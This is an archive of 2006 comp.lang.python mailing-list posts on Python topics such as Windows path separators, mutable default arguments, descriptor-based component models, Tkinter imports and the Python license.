>>>a directory separator in filenames on both Unix and Dos. But
>>>where is this documented?
>>
>>in the documentation for your operating system.  Python doesn't do 
>>anything with the filenames.
> 
> 
> Windows seems to be (occasionally) doing the translation as /F 
> mentions:
> 
> C:\temp> python
> Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit 
> (Intel)] on win32
> Type "help", "copyright", "credits" or "license" for more 
> information.
>  >>> for line in file('subdir/test.txt'):
> ....	print line.strip()
> ....
> 1
> 2
> 3
>  >>> ^Z
> 
> C:\temp> REM try the same filename convention from dos prompt
> C:\temp> type subdir/test.txt
> The syntax of the command is incorrect.
> C:\temp> REM try with quotes, just in case...
> C:\temp> type "subdir/test.txt"
> The syntax of the command is incorrect.
> C:\temp> notepad subdir/test.txt
> C:\temp> REM correctly opened the text file in notepad
> 
> Windows seems to doing the translation inconsistently (I know 
> that comes as a shock...)
> 
The command line processor parses the slash as a switch delimiter, but 
the system call interface doesn't know about such refinements and treats 
forward and backward slashes as filename component separators.

Just the same it's always cleanest to use os.path routines (or similar) 
to analyze and construct filenames.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From greenbergj at wit.edu  Fri Oct 20 15:08:28 2006
From: greenbergj at wit.edu (Jordan Greenberg)
Date: Fri, 20 Oct 2006 15:08:28 -0400
Subject: FOR statement
In-Reply-To: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
Message-ID: <453911b6$0$19616$88260bb3@free.teranews.com>

Lad wrote:
> If I have a list
> 
> Mylist=[1,2,3,4,5]
> I can print it
> 
> for i in Mylist:
>    print i
> 
> and results is
> 1
> 2
> 3
> 4
> 5
> 
> 
> But how can I  print it in a reverse order so that I get
> 5
> 4
> 3
> 2
> 1

>>> def printreverse(lst):
	if lst:
		printreverse(lst[1:])
		print lst[:1][0]
>>> printreverse([1,2,3,4])

No good reason at all to do it this way. But recursion is fun.
-Jordan Greenberg

-- 
Posted via a free Usenet account from http://www.teranews.com



From robert.kern at gmail.com  Mon Oct  9 17:36:53 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 09 Oct 2006 17:36:53 -0400
Subject: Python component model
In-Reply-To: <HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
Message-ID: <egefdj$ucv$1@sea.gmane.org>

Edward Diener No Spam wrote:

> There's nothing wrong with Python's introspection. In fact Python's 
> facilities in this area and its support for metadata are stronger than 
> any of these other languages ! However there is no common component 
> model which specifies that X is a "property" or Y is an "event" of a 
> Python class which can be visually manipulated at design-time and 
> automagically set at run-time, so that any given Python RAD visual 
> environment will treat a Python class, specified as a component, in 
> exactly the same way. Also in these other languages, a component is 
> different from a class in that a component is recognized in a particular 
> way, often so that the component can interact if necessary with its 
> container and/or visual site.

You'll definitely want to take a look at Enthought's Traits (disclaimer: I work 
for Enthought). I'm supposed to be on vacation now, so I'm not going to give you 
the full rundown of Traits and Traits UI, so I'm simply going to point you to 
the page we have about it:

   http://code.enthought.com/traits/

You can talk to the rest of the Enthought crew on the enthought-dev mailing list 
if you have any questions:

   https://mail.enthought.com/mailman/listinfo/enthought-dev

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From MonkeeSage at gmail.com  Tue Oct  3 00:36:37 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 2 Oct 2006 21:36:37 -0700
Subject: Making sure script only runs once instance at a time.
References: <mailman.801.1159372327.10491.python-list@python.org>
	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>
	<mailman.936.1159535264.10491.python-list@python.org>
	<7xk63mpzwr.fsf@ruckus.brouhaha.com>
	<451D25A3.7010803@googlemail.com> <efjbhh$d9m$1@sea.gmane.org>
	<4520E5E1.3040409@googlemail.com>
	<mailman.1111.1159808480.10491.python-list@python.org>
	<1159832748.370619.95190@i3g2000cwc.googlegroups.com>
	<mailman.1134.1159849749.10491.python-list@python.org>
Message-ID: <1159850197.441520.15670@m73g2000cwd.googlegroups.com>

Eric S. Johansson wrote:
> the problem with this solution is that it does not handle the read
> nonexclusive/write exclusive locking model.  In this model, reads don't
> block, they only register that the request is in process.  writes lock
> request block until all outstanding reads have completed.  When there is
> a write lock waiting, all subsequent reads lock requests block until the
> write has completed.

I should have said "lock file" -- I'm not trying to do file locking for
concurrent access to a file; I'm trying to provide a lock file to
determine if an instance of a process is already spawned.

Regards,
Jordan



From steve at holdenweb.com  Wed Oct 25 19:05:21 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 00:05:21 +0100
Subject: question about True values
In-Reply-To: <17727.47016.632530.720950@montanaro.dyndns.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
Message-ID: <ehoqhe$6iq$3@sea.gmane.org>

skip at pobox.com wrote:
>     John> I'm a little confused. Why doesn't s evaluate to True in the first
>     John> part, but it does in the second? Is the first statement something
>     John> different?
> 
>     >>> s = 'hello'
>     >>> s == True
>     False
>     >>> if s:
>     ...         print 'hi'
>     hi
> 
> s is not equal to the boolean object True, but it also doesn't evaluate to
> the string class's "nil" value.  Each of the builtin types has such an
> "empty" or "nil" value:
> 
>     string              ""
>     list                []
>     tuple               ()
>     dict                {}
>     int                 0
>     float               0.0
>     complex             0j
>     set                 set()
> 
> Any other value besides the above will compare as "not false".
> 

And today's question for the novices is: which Python type did Skip miss 
from the above list?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From antroy at gmail.com  Mon Oct 23 06:35:45 2006
From: antroy at gmail.com (Ant)
Date: 23 Oct 2006 03:35:45 -0700
Subject: sending vim text through Python filter
In-Reply-To: <1161550040.309135.250940@h48g2000cwc.googlegroups.com>
References: <1161550040.309135.250940@h48g2000cwc.googlegroups.com>
Message-ID: <1161599745.935325.210460@m73g2000cwd.googlegroups.com>


BartlebyScrivener wrote:
> Hello,
>
> I'm sure this is my fault or some Windows snafu. But using gvim 7.0 on

It's a bug in Windows. Try doing "sort.py < test.txt" from the command
line, and you'll get the same error. Try "python sort.py < test.txt"
and it should work fine. Apparently cmd.exe can't pick up the
registered file extensions.

> I'm sending standard text with the vim command :%!sort.py

You'll have to use :%!python sort.py to get the filter to work.



From apardon at forel.vub.ac.be  Wed Oct  4 08:28:00 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 12:28:00 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei77lv.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <slrnei7a6g.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Antoon Pardon <apardon at forel.vub.ac.be> wrote:
> On 2006-10-03, LaundroMat <Laundro at gmail.com> wrote:
>> Suppose I have this function:
>>
>> def f(var=1):
>> return var*2
>>
>> What value do I have to pass to f() if I want it to evaluate var to 1?
>> I know that f() will return 2, but what if I absolutely want to pass a
>> value to f()? "None" doesn't seem to work..
>>
>> Thanks in advance.
>>
>
> I think the only general solution for your problem would be to
> define a defaulter function. Something like the following:
>
>   Default = object()
>
>   def defaulter(f, *args):
>
>     while args:
>       if args[-1] is Default:
>         args = args[:-1]
>       else:
>         break
>     return f(*args)
>
>
> The call:
>
>   defaulter(f, arg1, arg2, Default, ..., Default)
>
> would then be equivallent to:
>
>   f(arg1, arg2)
>
> Or in your case you would call:
>
>   defaulter(f, Default)

A little update, with the functools in python 2.5 you
could turn the above into a decorator. Something like
the following (not tested):

  def defaulting(f):
    return functools.partial(defaulter, f)

You could then simply write:

  @defaulting
  def f(var=1):
    return var * 2

And for built in or library functions something like:

  from itertools import repeat
  repeat = defaulting(repeat)

-- 
Antoon Pardon


From ask at me  Thu Oct 26 07:26:12 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 07:26:12 -0400
Subject: http://tipc.sourceforge.net support
Message-ID: <_pGdnRsy36eZO93YnZ2dnUVZ_s2dnZ2d@comcast.com>

Hi,

I did my homework and researched the net - can not find the python 
support for TIPC.

Does anybody know if there are plans to implement it?

-- 
alf


From sjdevnull at yahoo.com  Wed Oct  4 16:11:15 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 4 Oct 2006 13:11:15 -0700
Subject: dictionary of list from a file
In-Reply-To: <mailman.1262.1159968035.10491.python-list@python.org>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
Message-ID: <1159992675.176015.248850@c28g2000cwb.googlegroups.com>

limodou wrote:
> here is my program
>
> d = {}
> for line in file('test.txt'):
>     line = line.strip()
>     if line:
>         k, v = line.strip().split()
>         d.setdefault(k, []).append(v)
> print d

Minor nits: you call strip twice, when you don't need to.  just omit
the second call.
Also, I'm not sure stripping the line is the right thing per the spec;

d = {}
for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]:
    k,v = line.split()
    d.setdefault(k,[]).append(v)



From tim.peters at gmail.com  Sun Oct  8 22:46:09 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 8 Oct 2006 22:46:09 -0400
Subject: Python license question
In-Reply-To: <1160359706.377998.192610@e3g2000cwe.googlegroups.com>
References: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>
	<mailman.86.1160357171.11739.python-list@python.org>
	<1160359706.377998.192610@e3g2000cwe.googlegroups.com>
Message-ID: <1f7befae0610081946vc4db1f2qd6942fab8f57445c@mail.gmail.com>

[Martitza]
> Mr. Peters:

Na, my father's dead -- you can call me Uncle Timmy ;-)

> Thank you for so kindly taking the time to resolve my misunderstandings
> and to elaborate on the intent of the PSF.
>
> In particular, thank you for explaining in plain language how the
> licenses stack.  I'm sure our counsel will figure out what a license
> from a defunct BeOpen means and anything we do will be in compliance
> with all of the license stack.

I don't know BeOpen.com's legal status (for example, I don't know
whether a bankruptcy judgement was issued).  CWI is a Dutch national
research institute, and CNRI and the PSF are both US 501(c)(3) public
charities -- BeOpen.com was the only for-profit entity in Python's
licensing history.  It's quite intentional that the top three licenses
on the stack "look pretty much alike" -- if I had my way, there would
be only one license, but the parties involved couldn't agree to that
at the time.

While at least the PSF will pursue licence violations, the license is
so permissive that there hasn't yet been any need for that.  To the
best of my knowledge, BeOpen.com, CNRI, and CWI have never had license
complaints against anyone's use of Python either.


From jmdeschamps at gmail.com  Mon Oct 16 17:49:45 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 16 Oct 2006 14:49:45 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <4533cb98$0$15235$426a74cc@news.free.fr>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
	<1160811657.449049.78940@m73g2000cwd.googlegroups.com>
	<1160843099.978973.235560@k70g2000cwa.googlegroups.com>
	<45335619$0$12918$426a34cc@news.free.fr>
	<1160992539.451117.143310@i42g2000cwa.googlegroups.com>
	<4533cb98$0$15235$426a74cc@news.free.fr>
Message-ID: <1161035385.713704.220180@b28g2000cwb.googlegroups.com>


Bruno Desthuilliers wrote:
> Kay Schluehr wrote:
> > Bruno Desthuilliers wrote:
> >
> >> Just for the record : Ruby's code-blocks (closures, really) come from
> >> Smalltalk, which is still the OneTrueObjectLanguage(tm).
> >
> > IsTheOneTrueObjectLanguage(tm)ReallyCamelCased?
> >
> ThatsAGoodQuestion.
>
> DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjectBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse?
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"
youGuysAreAllCrazyOrSomethingNicer(CrazyBeingANiceAttributeHere)(ButIDon'tKnowAboutSyncategoremasLikeParenthesisOrApostrophe)InCamelBackNotationWhichAsNothingToDoWithPolishReverseNotation)ThankYou

Jean-Marc



From rrr at ronadam.com  Wed Oct 18 17:13:16 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 16:13:16 -0500
Subject: Flexable Collating (feedback please)
In-Reply-To: <1161204787.209795.315900@i42g2000cwa.googlegroups.com>
References: <35kZg.6681$fl.2685@dukeread08>
	<1161204787.209795.315900@i42g2000cwa.googlegroups.com>
Message-ID: <aRwZg.6709$fl.5890@dukeread08>


Thanks, But I fixed it already.  (almost)  ;-)

I think I will use strings as you suggest, and verify they are valid so a type 
don't go though silently.

I ended up using string based option list.  I agree a space separated string is 
better and easier from a user point of view.

The advantage of the list is it can be iterated without splitting first. But 
that's a minor thing.  self.options = options.lower().split(' ') fixes that easily.


Once I'm sure it's not going to get any major changes I'll post this as a 
recipe.  I think it's almost there.

Cheers and thanks,
    Ron



bearophileHUGS at lycos.com wrote:
> This part of code uses integer "constants" to be or-ed (or added):
> 
> CAPS_FIRST = 1
> NUMERICAL = 2
> HYPHEN_AS_SPACE = 4
> UNDERSCORE_AS_SPACE = 8
> IGNORE_LEADING_WS = 16
> COMMA_IN_NUMERALS = 32
> 
> ...
> 
> def __init__(self, flag):
>     self.flag = flag
> def transform(self, s):
>     """ Transform a string for collating.
>     """
>     if self.flag & CAPS_FIRST:
>         s = s.swapcase()
>     if self.flag & HYPHEN_AS_SPACE:
>         s = s.replace('-', ' ')
>     if self.flag & UNDERSCORE_AS_SPACE:
>         s = s.replace('_', ' ')
>     if self.flag & IGNORE_LEADING_WS:
>         s = s.strip()
>     if self.flag & NUMERICAL:
>         if self.flag & COMMA_IN_NUMERALS:
> 
> This is used in C, but maybe for Python other solutions may be better.
> I can see some different (untested) solutions:
> 
> 1)
> 
> def selfassign(self, locals):
>     # Code from web.py, modified.
>     for key, value in locals.iteritems():
>         if key != 'self':
>             setattr(self, key, value)
> 
> def __init__(self,
>              caps_first=False,
>              hyphen_as_space=False,
>              underscore_as_space=False,
>              ignore_leading_ws=False,
>              numerical=False,
>              comma_in_numerals=False):
>     selfassign(self, locals())
> 
> def transform(self, s):
>     if self.caps_first:
>         ...
> 
> Disadvangages: if a flag is added/modified, the code has to be modified
> in two places.
> 
> 
> 2)
> 
> def __init__(self, **kwds):
>     self.lflags = [k for k,v in kwds.items() if v]
> def transform(self, s):
>     if "caps_first" in self.lflags:
>         ...
> 
> This class can be created with 1 instead of Trues, to shorten the code.
> 
> Disadvantages: the user of this class has to read from the class
> doctring or from from the docs the list of possible flags (and such
> docs can be out of sync from the code).
> 
> 
> 3)
> 
> Tkinter (Tcl) shows that sometimes strings are better than int
> constants (like using "left" instead of tkinter.LEFT, etc), so this is
> another possibile solution:


I think maybe this is better, but I need to verify the flags so typos don't go 
though silently.



> def __init__(self, flags=""):
>     self.lflags = flags.lower().split()
> def transform(self, s):
>     if "caps_first" in self.lflags:
>         ...
> 
> An example of calling this class:
> 
> ... = Collate("caps_first  hyphen_as_space  numerical")
> 
> I like this third (nonstandard) solution enough.
> 
> Bye,
> bearophile
> 


From bcdonovan at gmail.com  Fri Oct 13 10:33:17 2006
From: bcdonovan at gmail.com (bcdonovan at gmail.com)
Date: 13 Oct 2006 07:33:17 -0700
Subject: Line algorithim for python and numeric
Message-ID: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>

Hi everyone,

  I'm wondering if anyone knows of a way to extract data from a numeric
array along a line. I have a gridded dataset which I would like to be
able to choose two points and extract a 1-d array of the data values
along the line between the two points. Any ideas?

Thanks,
Brian



From noway at sorry.com  Wed Oct  4 03:40:38 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 07:40:38 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
Message-ID: <WzJUg.134408$_J1.895507@twister2.libero.it>

lbolognini at gmail.com wrote:

> Giovanni Bajo wrote:
>
>> Does this smell "Bitkeeper fiasco" to anyone else than me?
>
> I can't understand why people waste time arguing this stuff.
>
> Use whatever tool is best at it's job... if it's not written in Python
> it doesn't mean that Python is not good for the task, only that there
> hasn't been any Python programmer that applied himself to the problem
> hard enough.

This is not against using a tool not written in Java. This is against using a
tool which is not FLOSS.
-- 
Giovanni Bajo




From johnjsal at NOSPAMgmail.com  Wed Oct  4 00:29:12 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 00:29:12 -0400
Subject: can't open chm files all of a sudden
Message-ID: <45233927$0$1761$c3e8da3@news.astraweb.com>

Hi all. I apologize since this is only remotely Python related, but I 
hope someone might now the solution.

I tried opening my Python chm docs just now, as well as the one for 
wxPython, and both are giving me an error dialog when I double-click 
them and I can't open them. This happened apparently for no reason, just 
today. I even reset but that didn't help.

Does anyone know what might cause this, and if it could affect the rest 
of Python or wxPython as well?

Thanks.


From claird at lairds.us  Mon Oct  2 16:43:26 2006
From: claird at lairds.us (Cameron Laird)
Date: Mon, 2 Oct 2006 20:43:26 +0000
Subject: tkinter to mpeg
References: <1159805893.786448.191810@i42g2000cwa.googlegroups.com>
	<efrf8m$q4b$00$1@news.t-online.com>
Message-ID: <e8a8v3-gsf.ln1@lairds.us>

In article <efrf8m$q4b$00$1 at news.t-online.com>,
Thomas Jollans <nospam at jollans.com> wrote:
>On Mon, 02 Oct 2006 09:18:13 -0700, "dug" <mm2ps at yahoo.co.uk> let this
>slip:
>
>> Hi,
>> 
>> I have a small program that moves some shapes around a tkinter canvas.
>> Is there any way to save the output in a movie file, maybe mpeg?
>
>you can record any app with special programs designed for the job, such as
>vnc2swf (which produces macromedia flash), vncrec (which produces a
>special format readable by transcode) or istanbul (which produces
>ogg/theora). I doubt Tk would have a special mechanism to do this.
			.
			.
			.
I've actually been thinking about implementing just such a special
mechanism.  Let me know if there's sufficient interest.


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 17:29:58 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 21:29:58 GMT
Subject: Python component model
In-Reply-To: <1160502439.729432.13480@h48g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
Message-ID: <qhUWg.9819$o71.1621@newsread3.news.pas.earthlink.net>

fumanchu wrote:
> Edward Diener No Spam wrote:
>> OK, here is my idea of what such a component model envisages as a list
>> of items. After this, unless I get some intelligent comments from people
>> who might be interested in what I envision, or something very similar, I
>> will be off to investigate it myself rather than do battle with the
>> horde of people who will just tell me that Python, being a great
>> language, does not need what I have suggested.
> 
> [This quote hacked up by me:]
>> 1) Component property: This is a glorified attribute with a type that
>> a) can be specified in a "static" manner, or discovered dynamically,
>> b) has converters between a string and the actual value
>> c) has a getter function to retrieve the value if it is readable and a
>> setter function to set the value if it is writable.
>> d) be either readable or writable or both.
>> e) not any Python class attribute since a component has the right
>> to specify only certain values as manipulatable in a design-time
>> RAD environment.
> 
> Whenever you say "glorified attribute", your first thought should be
> "Python descriptor" (but not your last--it's not a cure-all). They are
> able to do all of (a, b, c, d, e) which I marked in your text above.
> For example, here's a descriptor for
> attributes-you-want-to-persist-in-a-database from my ORM, Dejavu (see
> http://projects.amor.org/dejavu/browser/trunk/units.py#l290):
> 
> 
> class UnitProperty(object):
>     """Data descriptor for Unit data which will persist in storage."""
> 
>     def __init__(self, type=unicode, index=False, hints=None, key=None,
> default=None):
>         self.type = type
>         self.index = index
>         if hints is None: hints = {}
>         self.hints = hints
>         self.key = key
>         self.default = default
> 
>     def __get__(self, unit, unitclass=None):
>         if unit is None:
>             # When calling on the class instead of an instance...
>             return self
>         else:
>             return unit._properties[self.key]
> 
>     def __set__(self, unit, value):
>         if self.coerce:
>             value = self.coerce(unit, value)
>         oldvalue = unit._properties[self.key]
>         if oldvalue != value:
>             unit._properties[self.key] = value
> 
>     def coerce(self, unit, value):
>         if value is not None and not isinstance(value, self.type):
>             # Try to cast the value to self.type.
>             try:
>                 value = self.type(value)
>             except Exception, x:
>                 x.args += (value, type(value))
>                 raise
>         return value
> 
>     def __delete__(self, unit):
>         raise AttributeError("Unit Properties may not be deleted.")
> 
>> a) can be specified in a "static" manner, or discovered dynamically,
> 
> The "component model" can either scan a class for instances of
> UnitProperty or keep a registry of them in the class or elsewhere (via
> a metaclass + add_property functions).
> 
>> b) has converters between a string and the actual value
> 
> Note the "coerce" function above. Something similar could be done for
> serialization (which I can prove in my case because I use UnitProperty
> to help produce SQL ;) but you could just as easily pickle
> unit._properties and be done with it.
> 
>> c) has a getter function to retrieve the value if it is readable and a
>> setter function to set the value if it is writable.
>> d) be either readable or writable or both.
> 
> Descriptors that only have __get__ are read-only; if they have __set__
> they are read-write.
> 
>> e) not any Python class attribute since a component has the right
>> to specify only certain values as manipulatable in a design-time
>> RAD environment.
> 
> Right. Descriptors allow the creator of a class to use "normal"
> attributes (including functions) which don't participate in the
> component model.
> 
>> 2) Component event: This is an type which encapsulates an array, or a
>> list of callable objects with the same function signature, along with
>> the functionality to add and remove elements from the array, as well as
>> cycle through the array calling the callable objects as a particular
>> event is triggered. A component event is an event source for a
>> particular event. Component events have to be dicoverable by the Visual
>> RAD system so that an object's appropriate event handler, an event sink,
>> can be hooked to the component event itself, an event source, through a
>> design time interface which propagates the connection at run-time.
> 
> This can be accomplished by creating a ComponentEvent descriptor whose
> __get__ returns an object with a __call__ method. Here's a base class
> for something similar (again, from Dejavu):
> 
> class UnitAssociation(object):
>     """Non-data descriptor method to retrieve related Units via
> attributes."""
> 
>     to_many = None
> 
>     def __init__(self, nearKey, farClass, farKey):
>         # Since the keys will be used as kwarg keys, they must be
> strings.
>         self.nearKey = str(nearKey)
>         self.farKey = str(farKey)
> 
>         self.nearClass = None
>         self.farClass = farClass
> 
>     def __get__(self, unit, unitclass=None):
>         if unit is None:
>             # When calling on the class instead of an instance...
>             return self
>         else:
>             m = types.MethodType(self.related, unit, unitclass)
>             return m
> 
>     def __delete__(self, unit):
>         raise AttributeError("Unit Associations may not be deleted.")
> 
>     def related(self, unit, expr=None, **kwargs):
>         raise NotImplementedError
> 
> Subclasses override the "related" method, but a ComponentEvent class
> could just as easily do:
> 
>     def run(self, *args, **kwargs):
>         for sink in self.sinks:
>             sink(*args, **kwargs)
> 
>> 3: Component serialization: A component which has its properties and
>> events set by a visual design-time RAD environment needs to be
>> serialized at design time and deserialized at run-time. This can be a
>> default serialization of all component properties and events, or the
>> component itself can participate in the serilization effort either
>> wholly or partly.
> 
> In Dejavu, the UnitProperty class is your "component property" and the
> Unit class is the component. The Unit class has a copy method:
> 
>     def __copy__(self):
>         newUnit = self.__class__()
>         for key in self.properties:
>             if key in self.identifiers:
>                 prop = getattr(self.__class__, key)
>                 newUnit._properties[key] = prop.default
>             else:
>                 newUnit._properties[key] = self._properties[key]
>         newUnit.sandbox = None
>         return newUnit
> 
> It wouldn't be hard to replace "newUnit._properties[key] =
> self._properties[key]" with "dump(self._properties[key])".
> 
>> 4) Custom property and component editors: A component editor can present
>> a property editor or an editor for an entire component which the visual
>> design-time RAD environment can use to allow the programmer end-user of
>> the component to set or get component property values. Normally a design
>> time environment will present default property editors for each
>> component property type, but a component can override this.
> 
> This is the hard part. I believe Dabo has done some work in this space,
> but this is where the tight coupling comes in between code and tool, a
> coupling which Python has traditionally resisted.

It's more of a coupling between a type and a tool. Only user-defined 
types as component properties need their own property editor, whereas 
all other Python types can be coupled with default property editors. Of 
course the class designer must have a right to create their own property 
editor for a particular type or a particular property of that type in 
order to override the default property editors for a particular type.

> 
>> 5) Custom type converters: A component should be able to specify a
>> custom converter for any property to convert, in both directions or
>> either direction, between the property's string value as seen by a
>> property editor and the actual value of the component property's type.
> 
> A ComponentProperty descriptor could include a custom pair of methods
> to get/set as string. This is often done in web frameworks which need
> to coerce incoming string values to the correct type.

Thanks for your information abouit using descriptors. I will look into 
it further but I really appreciate your example.

> 
> All of which is to say: nobody's done this yet because parts 1, 2, 3
> and 5 are trivial to do with descriptors, but actually building a
> visual RAD environment is too much work. ;)

The idea of course is that with the correct component underpinnings and 
perhaps high-level modules which make it easy for a visual RAD 
environment to introspect the necessary component properties and 
component events, as well as serialize them at design time and create 
code to deserialize them at run-time, the work of creating a visual RAD 
environment would not be so daunting.


From gmarkowsky at gmail.com  Sun Oct 29 11:40:46 2006
From: gmarkowsky at gmail.com (gmarkowsky at gmail.com)
Date: 29 Oct 2006 08:40:46 -0800
Subject: importing class
In-Reply-To: <pan.2006.10.27.16.28.47.580241@gmx.net>
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>
	<pan.2006.10.27.16.28.47.580241@gmx.net>
Message-ID: <1162140046.696622.295130@m7g2000cwm.googlegroups.com>

Thanks, I got that part. The problem I'm still having is that it's not
seeing things like text_1, which are defined in the program. How can I
make it see that?

Another question I should ask is whether I should even bother doing
this. That is, it seems that the elegant and approved way of doing this
kind of thing may be to put a class in a module and then just use the
module over and over again in programs. I'm making a few GUIs which
present two options and ask the user to chose one, so I thought I could
just do it this way. Of course I could very easily just copy and paste
the class into each file, but that seems silly. I haven't had any
trouble using modules for functions, but for classes it is not working
right so far, and I'm having trouble finding examples to follow.

Greg

Marc 'BlackJack' Rintsch wrote:
> In <1161966120.828597.57280 at b28g2000cwb.googlegroups.com>, gmarkowsky
> wrote:
>
> > Hi all,
> >
> > I'm trying to import a class from a module. The class looks like this:
> > class App:
> >
> >     def __init__(self, master):
> >
> >         frame = Frame(master)
> >         frame.pack()
> >
> >         self.button = Button(frame, text=text_1, command= self.comm_1)
> >         self.button.pack(side=LEFT)
> >
> >         self.hi_there = Button(frame, text=text_2, command=self.comm_2)
> >         self.hi_there.pack(side=LEFT)
> >
> >     def comm_1(self):
> >         command1()
> >         root.quit()
> >
> >     def comm_2(self):
> >         command2()
> >         root.quit()
> >
> > It's supposed to just make a Tkinter window with two choices. The
> > problem is that when I import it from a module, I get the following
> > error:
> >
> > NameError: global name 'Frame' is not defined
> >
> > But when I copy and paste it into the file, it works. Can anyone tell
> > me what's wrong?
>
> Yes, the global name `Frame` is not defined.  `Frame` is a name in the
> `Tkinter` module and you have to import it to reference it.  Add the
> following import statement to your file:
>
> from Tkinter import Frame, Button
>
> You use `Button` too and this also lives in the `Tkinter` module.
> 
> Ciao,
> 	Marc 'BlackJack' Rintsch



From codecraig at gmail.com  Mon Oct 16 10:26:05 2006
From: codecraig at gmail.com (abcd)
Date: 16 Oct 2006 07:26:05 -0700
Subject: Strange Behavior
Message-ID: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>

class Foo:
    def __init__(self, name, data=[]):
        self.name = name
        self.data = data

    def addData(self, val):
        self.data.append(val)


f = Foo('a')
f.addData(1)
f.addData(2)

f2 = Foo('b')

print f.name, f.data
print f2.name, f2.data

----------------------------
OUTPUT
---------------------------
a [1, 2]
b [1, 2]


....why would f and f2 contain the same data??

however, if I do this instead....

f = Foo('a')
f.addData(1)
f.addData(2)

f2 = Foo('b', [])

print f.name, f.data
print f2.name, f2.data

----------------------------
OUTPUT
---------------------------
a [1, 2]
b []


Any ideas?  is this a bug?



From cginboston at hotmail.com  Tue Oct  3 10:53:49 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Tue, 03 Oct 2006 14:53:49 GMT
Subject: Best way to handle large lists?
In-Reply-To: <7xodst3337.fsf@ruckus.brouhaha.com>
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
	<7xodst3337.fsf@ruckus.brouhaha.com>
Message-ID: <45227982.4060808@hotmail.com>

Paul Rubin wrote:
> Sybren Stuvel <sybrenUSE at YOURthirdtower.com.imagination> writes:
>>> I don't know enough about Python internals, but the suggested
>>> solutions all seem to involve scanning bigList. Can this presumably
>>> linear operation be avoided by using dict or similar to find all
>>> occurrences of smallist items in biglist and then deleting those
>>> occurrences?
>> And how would that beat O(n)? Every element of bigList has to be
>> scanned at one point, either to compare it to every earlier element in
>> bigList and eliminate it, or to compare it to every element in
>> smallList.
> 
> Maybe the application should use sets instead of lists for these
> collections.
What would sets do for me over lists?

Chaz


From blair.houghton at gmail.com  Fri Oct  6 00:24:29 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 5 Oct 2006 21:24:29 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <eg4i7t$m5b$1@panix3.panix.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
